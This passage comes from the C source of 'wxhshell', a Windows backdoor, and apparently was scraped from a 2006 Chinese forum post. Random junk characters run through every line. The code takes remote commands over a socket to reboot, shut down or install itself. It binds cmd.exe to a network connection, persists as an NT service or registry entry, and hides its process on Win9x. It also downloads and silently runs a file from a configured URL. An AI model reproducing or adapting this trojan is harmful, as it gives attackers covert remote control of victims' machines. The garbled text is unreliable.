      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TNFm7}=  
    break; L$u&~"z-  
  } qT<qu(V:  
  // 安装 rCSG@D.  
  case 'i': { <R~~yW:H  
    if(Install()) *Xt c`XH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0p>:rU~  
    else 6B;_uIq5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FvI0 J  
    break; dVmAMQk.g  
    } <1g1hqK3  
  // 卸载 4|Gs(^nU  
  case 'r': { |7'yk__m  
    if(Uninstall()) ]g-qWSKU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J|2Hqd  
    else c7nk~K[6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +} !F(c  
    break; z7Rcnr;  
    } G4exk5  
  // 显示 wxhshell 所在路径 Znl>*e/|  
  case 'p': { q=0{E0@9({  
    char svExeFile[MAX_PATH]; #L4Kwy  
    strcpy(svExeFile,"\n\r"); SiuO99'nV  
      strcat(svExeFile,ExeFile); i8[Y{a *  
        send(wsh,svExeFile,strlen(svExeFile),0); -Ib+/'  
    break;  +SA<0l  
    } w6In{uO-Z  
  // 重启 nhX p_Z9  
  case 'b': { `1d`9AS2g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /qhm9~4e3  
    if(Boot(REBOOT)) .Qi1I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zc,9Qfn  
    else { iQ}sp64  
    closesocket(wsh); C(|T/rQ-  
    ExitThread(0); d7K17KiC  
    } 6$vh qg}f  
    break; D)~nAkVq  
    } HAUTCX  
  // 关机 "1`i]Y\'  
  case 'd': { M Xt +  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]S2[eS  
    if(Boot(SHUTDOWN)) gS<{ekN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wR<QeH'V  
    else { :-W CW);N  
    closesocket(wsh); Jgv>$u  
    ExitThread(0); - 2na::<K  
    } bZ22O"F  
    break; BM$tywC  
    } , a_{ Y+  
  // 获取shell H.mQbD`X  
  case 's': { xE-`Bb  
    CmdShell(wsh); 6k=Wt7C  
    closesocket(wsh); ;Y XrG  
    ExitThread(0); GoVPo'  
    break; [[r3fEr$!p  
  } p$o&dQ=n[  
  // 退出 [qD<U%Hi  
  case 'x': { "T1#*"{j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >Hzb0N!VJ  
    CloseIt(wsh); t?H;iBrpxd  
    break; nTy,Jml  
    } 8YLZ)k'  
  // 离开 t5v)6|  
  case 'q': { GH+FZ (F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;s B:s9M  
    closesocket(wsh); )%@WoBRj  
    WSACleanup(); A8Z?[,Mq!  
    exit(1); *2C79hi1  
    break; {f-/,g~  
        } ABe^]HlH  
  } !2M[  
  } K2o0L5Lke  
-[7,ph  
  // 提示信息 #.L0]Uqcp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {*Wwu f.  
} )I-?zyL  
  } oS|~\,p"  
}~~^ZtJ\  
  return; 6V6g{6W,/  
} 83,1d*`  
#\ S$$gP  
// shell模块句柄 c^)E:J/  
int CmdShell(SOCKET sock) qkG;YGio  
{ /?-p^6U  
STARTUPINFO si; Wu;|(2I  
ZeroMemory(&si,sizeof(si)); KY34 'Di  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7{6.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o-<_X&"a|5  
PROCESS_INFORMATION ProcessInfo; M "P  
char cmdline[]="cmd"; Y+`-~ 88  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BRzWZq%r3  
  return 0; ggsi`Z{j?  
} rxI&;F#  
tBI+uu aa2  
// 自身启动模式 X*yp=qI  
int StartFromService(void) B|$13dHfa  
{ aKzD63  
typedef struct *k]S{]Y  
{ a`X&;jH0ef  
  DWORD ExitStatus; =X5&au o  
  DWORD PebBaseAddress; ^Ro du  
  DWORD AffinityMask; 7^TXlW n^G  
  DWORD BasePriority; \bQ!> l\  
  ULONG UniqueProcessId; R*{?4NKG  
  ULONG InheritedFromUniqueProcessId; /IW=+ri  
}   PROCESS_BASIC_INFORMATION; Ty:Ir  
YYr&r.6  
PROCNTQSIP NtQueryInformationProcess; Q|z06_3i  
E0A|+P '?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SFgIY]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bYB}A :  
&j@J<*k  
  HANDLE             hProcess; r<"/P`r  
  PROCESS_BASIC_INFORMATION pbi; ~teW1lMu(  
EA E\Xv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TaO;r=2  
  if(NULL == hInst ) return 0; ;fME4Sp  
,fJ(.KI0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WB [G!'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YaT+BRh?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'wnY>hN  
mKn357:  
  if (!NtQueryInformationProcess) return 0; F1*rUsRKN  
 `e=n( D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y1My, ?"?  
  if(!hProcess) return 0; b!~%a  
;C3?Ic  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JJ=is}S|  
"{"2h>o#D}  
  CloseHandle(hProcess); vK7,O%!S  
^J~4~!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m$qC 8z]  
if(hProcess==NULL) return 0; A1}+j-D7!y  
.FRF<_`^  
HMODULE hMod; }lpm Hvs  
char procName[255]; 2Wf qgR[3  
unsigned long cbNeeded; v+bjC  
I/V#[KC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }V,M0b>  
o(NyOC  
  CloseHandle(hProcess); "Am0.c/  
+p6\R;_E  
if(strstr(procName,"services")) return 1; // 以服务启动 3CPOZZ  
@W- f{V  
  return 0; // 注册表启动 /l%qq*Ew  
} l:,UN07s  
B{(l 5B6  
// 主模块 BQ0PV  
int StartWxhshell(LPSTR lpCmdLine) Nb^:_0&H@  
{ P]{.e UB@c  
  SOCKET wsl; -"K:ve(K  
BOOL val=TRUE; TN aff  
  int port=0; #%tL8/K*  
  struct sockaddr_in door; A"VXs1>_^  
k 0Yixa  
  if(wscfg.ws_autoins) Install(); B4&pBiG&f6  
pAmI ](  
port=atoi(lpCmdLine); 3Dvk oV  
svjFy/T(lL  
if(port<=0) port=wscfg.ws_port; .: ;Hh~  
e"mfJY  
  WSADATA data; Ayt!a+J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F <Z=%M3e  
',7Z1O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,)G+h#Y[*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q\Kdu5x{  
  door.sin_family = AF_INET; f_XCO=8'v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :"IH*7xp  
  door.sin_port = htons(port); <yO9j   
*sVxjZvV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }0),b ?*e  
closesocket(wsl); (HKm2JuFG  
return 1; f(o`=% k8  
} Lf M(DK  
JjML!;  
  if(listen(wsl,2) == INVALID_SOCKET) { A|Gqjy^;@  
closesocket(wsl); ^:ngHue8~  
return 1; e91d~  
} .]c:Zt}P  
  Wxhshell(wsl); Utp\}0GZY  
  WSACleanup(); YKd?)$J  
P32'`!/:  
return 0; bA,D]  
wVtBeZa  
} $Ws2g*i  
Y2&6xTh  
// 以NT服务方式启动 B*N8:u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7gaC)j&  
{ M'7x:Uw;  
DWORD   status = 0; )!72^rl  
  DWORD   specificError = 0xfffffff; ovFfTP<3V  
s>I}-=.(Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =ab}.dWC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b"bj|qF~E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k]5L\]>y  
  serviceStatus.dwWin32ExitCode     = 0; TY?io@  
  serviceStatus.dwServiceSpecificExitCode = 0; Ve) :I  
  serviceStatus.dwCheckPoint       = 0; h(sKGCG  
  serviceStatus.dwWaitHint       = 0; n\9*B##  
n(VMGCZPV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !W^II>Y  
  if (hServiceStatusHandle==0) return; -bfd><bs  
[' 1?'*  
status = GetLastError(); 7B`0mK3  
  if (status!=NO_ERROR) c7wgjQ[   
{ R.;59s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >z$|O>j  
    serviceStatus.dwCheckPoint       = 0; ]!w52kF7  
    serviceStatus.dwWaitHint       = 0; <:-&yDh u  
    serviceStatus.dwWin32ExitCode     = status; !iqz 4E  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,#Y".23G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (6'Hzl^Kp  
    return; wX;NU4)n  
  } TA7w:<  
!/j|\_O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -E"o)1Pj6C  
  serviceStatus.dwCheckPoint       = 0; c[q3O**  
  serviceStatus.dwWaitHint       = 0; WLH2B1_):  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?GZs5CnS  
} e~dU "  
0g4cyK~n]  
// 处理NT服务事件,比如:启动、停止 W>Kn *Dy8~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '9XwUQx  
{ 4HAfTQ 1G  
switch(fdwControl) "H@AT$Ny(  
{ "&F/'';0}E  
case SERVICE_CONTROL_STOP: 2c]O Mtk  
  serviceStatus.dwWin32ExitCode = 0; j)Gr@F>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ccAEN  
  serviceStatus.dwCheckPoint   = 0; +.St"f/1  
  serviceStatus.dwWaitHint     = 0; 7lu;lAAP  
  { H;`@SJBf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GvY8O|a  
  } _`58G#z  
  return; zV#k #/$  
case SERVICE_CONTROL_PAUSE: St<\qC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5Z{[.&x  
  break; Ycm1 _z  
case SERVICE_CONTROL_CONTINUE: Dl6zl6q?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1|CO>)*D  
  break; je\UfEo%  
case SERVICE_CONTROL_INTERROGATE: (ol 3vt  
  break; [ ]NAV  
}; QH:i)v*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Tolz H!  
} ;$]R#1i44  
lM]7@A  
// 标准应用程序主函数 a*`J]{3G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $[e*0!e  
{ r@aFB@   
k9 E ?5  
// 获取操作系统版本 ruVm8 BO  
OsIsNt=GetOsVer(); K\PS$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x($1pAE  
gV0ZZ"M  
  // 从命令行安装 i7_BnJJX{B  
  if(strpbrk(lpCmdLine,"iI")) Install(); N]~q@x;<)3  
fpUX @b  
  // 下载执行文件 ;x"B ):?\  
if(wscfg.ws_downexe) { 1L ow[i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z$A5p4=B'^  
  WinExec(wscfg.ws_filenam,SW_HIDE); r&w>+KIt  
} p /:L;5F  
;2^=#7I?  
if(!OsIsNt) { _G42|lA$/  
// 如果时win9x,隐藏进程并且设置为注册表启动 #PGExN3e  
HideProc(); ^`$KN0PY  
StartWxhshell(lpCmdLine); 4*]`s|fbu  
} ;lldxS  
else >:Ec   
  if(StartFromService()) -J:vYhq|g  
  // 以服务方式启动 1'=brc YR  
  StartServiceCtrlDispatcher(DispatchTable); l6RJour  
else :iJ= 9  
  // 普通方式启动 <W1!n$V ]  
  StartWxhshell(lpCmdLine); DE tq]|80m  
TQ FD  
return 0; quR':=S5f  
}
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只看该作者 1 发表于: 2006-10-10
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